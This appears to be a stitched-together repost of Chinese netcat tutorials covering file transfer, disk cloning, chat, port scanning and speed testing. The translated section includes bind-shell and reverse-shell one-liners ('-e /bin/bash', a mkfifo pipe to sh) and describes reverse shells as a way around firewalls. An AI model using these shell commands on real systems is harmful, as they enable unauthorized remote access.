nc命令詳解


  

原文鏈接:https://www.cnblogs.com/lpfuture/p/4638335.html

NetCat,在網絡工具中有“瑞士軍刀”美譽,其有Windows和Linux的版本。因為它短小精悍(1.84版本也不過25k,舊版本或縮減版甚至更小)、功能實用,被設計為一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因為它可以根據需要創建各種不同類型的網絡連接。
一、版本 通常的Linux發行版中都帶有NetCat(簡稱nc),甚至在拯救模式光盤中也由busybox提供了簡版的nc工具。但不同的版本,其參數的使用略有差異。 NetCat 官方地址:http://netcat.sourceforge.net/

引用[root@hatest1 ~]# cat /etc/asianux-release Asianux release 2.0 (Trinity SP2) [root@hatest1 ~]# cat /etc/redflag-release Red Flag DC Server release 5.0 (Trinity SP2) [root@hatest1 ~]# type -a nc nc is /usr/bin/nc [root@hatest1 ~]# rpm -q nc nc-1.10-22

建議在使用前,先用man nc看看幫助。這里以紅旗DC Server 5.0上的1.10版本進行簡單說明。 假設兩服務器信息:

引用server1: 192.168.228.221 server2: 192.168.228.222

二、常見使用 1、遠程拷貝文件 從server1拷貝文件到server2上。需要先在server2上,用nc激活監聽,server2上運行:

引用[root@hatest2 tmp]# nc -lp 1234 > install.log

server1上運行:

引用[root@hatest1 ~]# ll install.log -rw-r--r--   1 root root 39693 12月 20   2007 install.log [root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

2、克隆硬盤或分區 操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然后傳輸即可。 克隆硬盤或分區的操作,不應在已經mount的的系統上進行。所以,需要使用安裝光盤引導后,進入拯救模式(或使用Knoppix工具光盤)啟動系統后,在server2上進行類似的監聽動作:

# nc -l -p 1234 | dd of=/dev/sda

server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:

# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提,是需要落實光盤的拯救模式支持服務器上的網卡,並正確配置IP。
3、端口掃描
可以執行:

引用# nc -v -w 1 192.168.228.222 -z 1-1000 hatest2 [192.168.228.222] 22 (ssh) open

4、保存Web頁面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

5、模擬HTTP Headers

引用[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]

在nc命令后,輸入紅色部分的內容,然后按兩次回車,即可從對方獲得HTTP Headers內容。
6、聊天 nc還可以作為簡單的字符下聊天工具使用,同樣的,server2上需要啟動監聽:

[root@hatest2 tmp]# nc -lp 1234

server1上傳輸:

[root@hatest1 ~]# nc 192.168.228.222 1234

這樣,雙方就可以相互交流了。使用Ctrl+D正常退出。
7、傳輸目錄 從server1拷貝nginx-0.6.34目錄內容到server2上。需要先在server2上,用nc激活監聽,server2上運行:

引用[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1上運行:

引用[root@hatest1 ~]# ll -d nginx-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234

8、參數簡介 這僅是一個1.10版本的簡單說明,詳細的參數使用還是需要看man:

引用想要連接到某處: nc [-options] hostname port[s] [ports] ... 綁定端口等待連接: nc -l -p port [-options] [hostname] [port] 參數: -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 幫助信息 -i secs 延時的間隔 -l 監聽模式,用於入站連接 -n 指定數字的IP地址,不能用hostname -o file 記錄16進制的傳輸 -p port 本地端口號 -r 任意指定本地及遠程端口 -s addr 本地源地址 -u UDP模式 -v 詳細輸出——用兩個-v可得到更詳細的內容 -w secs timeout的時間

-z 將輸入輸出關掉——用於掃描時,其中端口號可以指定一個或者用lo-hi式的指定范圍。 

9、1.84版本參數簡介1. nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] 2.    [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x 3.    proxy_address[:port]] [hostname] [port[s]]   1. -4 強制使用ipv4 2. -6 強制使用ipv6 3. -D 允許socket通信返回debug信息 4.       -d 不允許從標准輸入中讀取 5. -h 顯示nc幫助文檔 6. -i interval  7.    指定每行之間內容延時發送和接受,也可以使多個端口之間的連接延時 8. -k 當一個連接結束時,強制nc監聽另一個連接。必須和-l一起使用 9. -l 用於監聽傳入的數據鏈接,不能與-p -z -s一起使用。-w 參數的超時也會被忽略 10. -n 不執行任何地址,主機名,端口或DNS查詢 11. -p 指定nc使用的源端口,受權限限制且不能余-l一起使用 12. -r 指定nc使用的源端口和目的端口,不能使用系統原來就指定的那些端口 13. -S 允許在RFC 2385的TCP MD5簽名選項 14. -s source_ip_address  15.    指定用於發包的接口的IP地址,不能和-l一起使用 16. -T ToS 17.    指定鏈接的IP服務類型(TOS) 18. -C 自動換行 19. -t 使nc能夠與telnet交互 20. -U 使用UNIX域socket 21. -u 使用udp代替默認的tcp選項 22. -v 輸出詳細報告 23. -w timeout 24.     一個鏈接一段時間無操作,則自動斷開,默認無超時 25. -X proxy_version 26.     指定nc使用代理時所采用的協議,可選的有socksv4,socks5以及https。默認socks5 27. -x proxy_address[:port] 28.     指定nc使用的代理地址和端口。默認設置:1080(SOCKS),3128(HTTPS) 29. -z 只監聽不發送任何包

  三、版本差異 不用系統上提供的nc版本會有說不同,其提供的參數使用方法也略有差異。 例如,紅旗Asianux 3.0 SP1拯救光盤上的版本是供使用的參數僅有一部分:

引用# nc -h BusyBox v1.2.0 (2008.04.14-01:35+0000) multi-call binary
Usage: nc [OPTIONS] [IP] [port]
Netcat opens a pipe to IP:port
Options:          -l               listen mode, for inbound connects          -p PORT         local port number          -i SECS         delay interval for lines sent          -e PROG         program to exec after connect (dangerous!)          -w SECS         timeout for connects and final net reads

而在Asianux 3.0 SP1系統中提供的nc版本則是1.84的,按上面的參數用法寫會執行不了:

引用[root@ftpserver ~]# rpm -q nc nc-1.84-10 [root@ftpserver ~]# nc -lp 1234 usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]            [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]            [-x proxy_address[:port]] [hostname] [port[s]]

講查看man文檔,可見在這個版本中,-l是不能與-s、-p、-z一起使用的,-w參數也會被忽略,所以,正確的用法是:

[root@ftpserver tmp]# nc -l 1234

四、用在腳本中 nc每次啟動監聽后,都會在客戶端連接完成並退出的同時,服務端一同退出。所以,如果需要不斷的使用nc進行數據傳輸,需要在腳本中使用循環。利用nc實現更多的功能,可參考其rpm提供的參考腳本:

引用# rpm -qd nc /usr/share/doc/nc-1.10/Changelog /usr/share/doc/nc-1.10/README /usr/share/doc/nc-1.10/scripts/README /usr/share/doc/nc-1.10/scripts/alta /usr/share/doc/nc-1.10/scripts/bsh /usr/share/doc/nc-1.10/scripts/dist.sh /usr/share/doc/nc-1.10/scripts/irc /usr/share/doc/nc-1.10/scripts/iscan /usr/share/doc/nc-1.10/scripts/ncp /usr/share/doc/nc-1.10/scripts/probe /usr/share/doc/nc-1.10/scripts/web /usr/share/doc/nc-1.10/scripts/webrelay /usr/share/doc/nc-1.10/scripts/websearch /usr/share/man/man1/nc.1.gz

 

中以多種方式使用它。使用netcat命令所能完成的事情令人驚訝。

netcat所做的就是在兩台電腦之間建立鏈接並返回兩個數據流,在這之后所能做的事就看你的想像力了。你能建立一個服務器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協議的獨立客戶端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

晴風曉月
晴風曉月
翻譯於 3年前

10人頂

 

 翻譯的不錯哦!

Linux netcat 命令實例:

1,端口掃描

端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

$nc -z -v -n 172.31.100.7 21-25
可以運行在TCP或者UDP模式,默認是TCP,-u參數調整為udp.

z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換(謝謝@jxing 指點)

v 參數指使用冗余選項(譯者注:即詳細輸出)

n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名

這個命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。

$ nc -v 172.31.100.7 21
netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。
蔥油拌面
蔥油拌面
翻譯於 3年前

8人頂

 

 翻譯的不錯哦!

Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。

Server

$nc -l 1567

netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

Client

$nc 172.31.100.7 1567
不管你在機器B上鍵入什么都會出現在機器A上。
蔥油拌面
蔥油拌面
翻譯於 3年前

8人頂

 

 翻譯的不錯哦!

其它翻譯版本(1)

3,文件傳輸

大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端,以下,讓A作為服務器,B為客戶端。

Server

$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
這里我們創建了一個服務器在A上並且重定向netcat的輸入為文件file.txt,那么當任何成功連接到該端口,netcat會發送file的文件內容。

在客戶端我們重定向輸出到file.txt,當B連接到A,A發送文件內容,B保存文件內容到file.txt.

沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入文件。

B作為Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt
蔥油拌面
蔥油拌面
翻譯於 3年前

8人頂

 

 翻譯的不錯哦!

4,目錄傳輸

發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。

如果你想要通過網絡傳輸一個目錄從A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

 

$nc -n 172.31.100.7 1567 | tar -xvf -
這里在A服務器上,我們創建一個tar歸檔包並且通過-在控制台重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。

在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。

如果想要節省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。

Server

 

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通過bzip2壓縮

Client

 

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解壓
蔥油拌面
蔥油拌面
翻譯於 3年前

6人頂

 

 翻譯的不錯哦!

5. 加密你通過網絡發送的數據

如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。

服務端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密數據。

客戶端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密數據。

以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。

這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

showme
showme
翻譯於 3年前

6人頂

 

 翻譯的不錯哦!

6. 流視頻

雖然不是生成流視頻的最好方法,但如果服務器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。

服務端

$cat video.avi | nc -l 1567
這里我們只是從一個視頻文件中讀入並重定向輸出到netcat客戶端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

這里我們從socket中讀入數據並重定向到mplayer。

showme
showme
翻譯於 3年前

7人頂

 

 翻譯的不錯哦!

7,克隆一個設備

如果你已經安裝配置一台Linux機器並且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一台機器的一些引導可以隨身碟和克隆你的機器。

克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。
蔥油拌面
蔥油拌面
翻譯於 3年前

6人頂

 

 翻譯的不錯哦!

8,打開一個shell

我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。

假設你的netcat支持 -c -e 參數(默認 netcat)

Server

$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567
這里我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash

假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell

Server

$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標准錯誤輸出和標准輸出,然后管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。

說明:

從網絡收到的輸入寫到fifo文件中

cat 命令讀取fifo文件並且其內容發送給sh命令

sh命令進程受到輸入並把它寫回到netcat。

netcat 通過網絡發送輸出到client

至於為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。

在客戶端僅僅簡單連接到服務器

Client

$nc -n 172.31.100.7 1567
你會得到一個shell提示符在客戶端
蔥油拌面
蔥油拌面
翻譯於 3年前

7人頂

 

 翻譯的不錯哦!

其它翻譯版本(1)

反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。

服務端

$nc -l 1567
在客戶端,簡單地告訴netcat在連接完成后,執行shell。

客戶端

$nc 172.31.100.7 1567 -e /bin/bash
現在,什么是反向shell的特別之處呢 
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務器連接到 外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。 
showme
showme
翻譯於 3年前

6人頂

 

 翻譯的不錯哦!

10. 指定源端口

假設你的防火牆過濾除25端口外其它所有端口,你需要使用-p選項指定源端口。

服務器端

$nc -l 1567

客戶端

$nc 172.31.100.7 1567 -p 25

使用1024以內的端口需要root權限。

該命令將在客戶端開啟25端口用於通訊,否則將使用隨機端口。

Lax
Lax
翻譯於 3年前

6人頂

 

 翻譯的不錯哦!

11. 指定源地址

假設你的機器有多個地址,希望明確指定使用哪個地址用於外部數據通訊。我們可以在netcat中使用-s選項指定ip地址。

服務器端

$nc -u -l 1567 < file.txt

客戶端

$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

該命令將綁定地址172.31.100.5。

這僅僅是使用netcat的一些示例。

其它用途有:

  •     使用-t選項模擬Telnet客戶端,
  •     HTTP客戶端用於下載文件,
  •     連接到郵件服務器,使用SMTP協議檢查郵件,
  •     使用ffmpeg截取屏幕並通過流式傳輸分享,等等。其它更多用途。

簡單來說,只要你了解協議就可以使用netcat作為網絡通訊媒介,實現各種客戶端

 

 

 

原文鏈接:https://www.cnblogs.com/nmap/p/6148306.html

什么是nc

nc是netcat的簡寫,有着網絡界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網絡工具

nc的作用

(1)實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口
(2)端口的掃描,nc可以作為client發起TCP或UDP連接
(3)機器之間傳輸文件
(4)機器之間網絡測速                                                                                                                                                                                                                        

nc的控制參數不少,常用的幾個參數如下所列:

1) -l
用於指定nc將處於偵聽模式。指定該參數,則意味着nc被當作server,偵聽並接受連接,而非向其它地址發起連接。
2) -p <port>
暫未用到(老版本的nc可能需要在端口號前加-p參數,下面測試環境是centos6.6,nc版本是nc-1.84,未用到-p參數)
3) -s 
指定發送數據的源IP地址,適用於多網卡機 
4) -u
 指定nc使用UDP協議,默認為TCP
5) -v
輸出交互或出錯信息,新手調試時尤為有用
6)-w
超時秒數,后面跟數字 
7)-z
表示zero,表示掃描時不發送任何數據
 
 
 

前期准備

准備兩台機器,用於測試nc命令的用法
主機A:ip地址 10.0.1.161
主機B:ip地址 10.0.1.162
 
兩台機器先安裝nc和nmap的包
yum install nc -y
yum install nmap -y
如果提示如下-bash: nc: command not found 表示沒安裝nc的包
 

 

nc可以作為server端啟動一個先關閉A的防火牆,或者放行下面端口,然后測試B機器是否可以訪問A機器啟動的端口
在A機器上啟動一個端口監聽,比如 9999端口(注意:下面的-l 是小寫的L,不是數字1)
默認情況下下面監聽的是一個tcp的端口
nc -l 9999

 

客戶端測試,測試方法1
在B機器上telnet A機器此端口,如下顯示表示B機器可以訪問A機器此端口
 
 
客戶端測試,測試方法2
B機器上也可以使用nmap掃描A機器的此端口
nmap 10.0.1.161 -p9999
 
 
客戶端測試,測試方法3
使用nc命令作為客戶端工具進行端口探測
nc -vz -w 2 10.0.1.161 9999
(-v可視化,-z掃描時不發送數據,-w超時幾秒,后面跟數字)
上面命令也可以寫成
nc -vzw 2 10.0.1.161 9999
 
 
客戶端測試,測試方法4(和方法3相似,但用處更大)
nc可以可以掃描連續端口,這個作用非常重要。常常可以用來掃描服務器端口,然后給服務器安全加固
在A機器上監聽2個端口,一個9999,一個9998,使用&符號丟入后台
 
在客戶端B機器上掃描連續的兩個端口,如下
 
 
 
nc作為server端啟動一個啟動一個udp的端口監聽
nc  -ul  9998
復制當前窗口輸入 netstat -antup |grep 9998 可以看到是啟動了udp的監聽
 
 
客戶端測試,測試方法1
nc -vuz 10.0.1.161 9998
由於udp的端口無法在客戶端使用telnet去測試,我們可以使用nc命令去掃描(前面提到nc還可以用來掃描端口)
(telnet是運行於tcp協議的)
(u表示udp端口,v表示可視化輸出,z表示掃描時不發送數據)
上面在B機器掃描此端口的時候,看到A機器下面出現一串XXXXX字符串
 
 
 
客戶端測試,測試方法2
nmap -sU 10.0.1.161 -p 9998 -Pn
(它暫無法測試nc啟動的udp端口,每次探測nc作為server端啟動的udp端口時,會導致對方退出偵聽,有這個bug,對於一些程序啟動的udp端口在使用nc掃描時不會有此bug)
下面,A機器啟動一個udp的端口監聽,端口為9998
在復制的窗口上可以確認已經在監聽了
B機器使用nmap命令去掃描此udp端口,在掃描過程中,導致A機器的nc退出監聽。所以顯示端口關閉了(我推測是掃描時發數據導致的)
nmap -sU 10.0.1.161 -p 9998 -Pn
-sU :表示udp端口的掃描
-Pn :如果服務器禁PING或者放在防火牆下面的,不加-Pn 參數的它就會認為這個掃描的主機不存活就不會進行掃描了,如果不加-Pn就會像下面的結果一樣,它也會進行提示你添加上-Pn參數嘗試的
注意:如果A機器開啟了防火牆,掃描結果可能會是下面狀態。(不能確定對方是否有監聽9998端口)
既然上面測試無法使用nmap掃描nc作為服務端啟動的端口,我們可以使用nmap掃描其余的端口
(額,有點跑題了,講nmap的用法了,沒關系,主要為了說明nmap是也可以用來掃描udp端口的,只是掃描nc啟動的端口會導致對方退出端口監聽)
下面,A機器上rpcbind服務,監聽在udp的111端口
在B機器上使用nmap掃描此端口,是正常的檢測到處於open狀態
 
客戶端測試,測試方法3
nc掃描大量udp端口
掃描過程比較慢,可能是1秒掃描一個端口,下面表示掃描A機器的1到1000端口(暫未發現可以在一行命令中掃描分散的幾個端口的方法)
nc -vuz 10.0.1.161 1-1000
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

方法1,傳輸文件演示(先啟動接收命令)
使用nc傳輸文件還是比較方便的,因為不用scp和rsync那種輸入密碼的操作了
把A機器上的一個rpm文件發送到B機器上
需注意操作次序,receiver先偵聽端口,sender向receiver所在機器的該端口發送數據。  
 
步驟1,先在B機器上啟動一個接收文件的監聽,格式如下
意思是把賴在9995端口接收到的數據都寫到file文件里(這里文件名隨意取)
nc -l port >file
nc -l 9995 >zabbix.rpm
 
步驟2,在A機器上往B機器的9995端口發送數據,把下面rpm包發送過去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
B機器接收完畢,它會自動退出監聽,文件大小和A機器一樣,md5值也一樣
 
 
方法2,傳輸文件演示(先啟動發送命令)
步驟1,先在B機器上,啟動發送文件命令
下面命令表示通過本地的9992端口發送test.mv文件
nc -l 9992 <test.mv
 
步驟2,A機器上連接B機器,取接收文件
下面命令表示通過連接B機器的9992端口接收文件,並把文件存到本目錄下,文件名為test2.mv
nc 10.0.1.162 9992 >test2.mv
 
 
 
方法3,傳輸目錄演示(方法發送文件類似)
 
步驟1,B機器先啟動監聽,如下
A機器給B機器發送多個文件
傳輸目錄需要結合其它的命令,比如tar
經過我的測試管道后面最后必須是 - ,不能是其余自定義的文件名
nc -l 9995 | tar xfvz -

 

步驟2,A機器打包文件並連接B機器的端口
管道前面表示把當前目錄的所有文件打包為 - ,然后使用nc發送給B機器
tar cfz - * | nc 10.0.1.162 9995
B機器這邊已經自動接收和解壓
 
 
 
 
 
 
 
 
 
 
 
 
 

測試網速其實利用了傳輸文件的原理,就是把來自一台機器的/dev/zero 發送給另一台機器的/dev/null

就是把一台機器的無限個0,傳輸給另一個機器的空設備上,然后新開一個窗口使用dstat命令監測網速
在這之前需要保證機器先安裝dstat工具
yum install -y dstat
 
方法1,測試網速演示(先啟動接收命令方式)
步驟1,A機器先啟動接收數據的命令,監聽自己的9991端口,把來自這個端口的數據都輸出給空設備(這樣不寫磁盤,測試網速更准確)
nc -l 9991 >/dev/null
 
步驟2,B機器發送數據,把無限個0發送給A機器的9991端口
nc 10.0.1.161 9991 </dev/zero
 
在復制的窗口上使用dstat命令查看當前網速,dstat命令比較直觀,它可以查看當前cpu,磁盤,網絡,內存頁和系統的一些當前狀態指標。
我們只需要看下面我選中的這2列即可,recv是receive的縮寫,表示接收的意思,send是發送數據,另外注意數字后面的單位B,KB,MB
 
可以看到A機器接收數據,平均每秒400MB左右
B機器新打開的窗口上執行dstat,看到每秒發送400MB左右的數據

 
 
 
方法2,測試網速演示(先啟動發送命令方式)
步驟1,先啟動發送的數據,誰連接這個端口時就會接收來自zero設備的數據(二進制的無限個0)
nc -l 9990 </dev/zero

步驟2,下面B機器連接A機器的9990端口,把接收的數據輸出到空設備上
nc 10.0.1.161 9990 >/dev/null

同樣可以使用dstat觀察數據發送時的網速

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM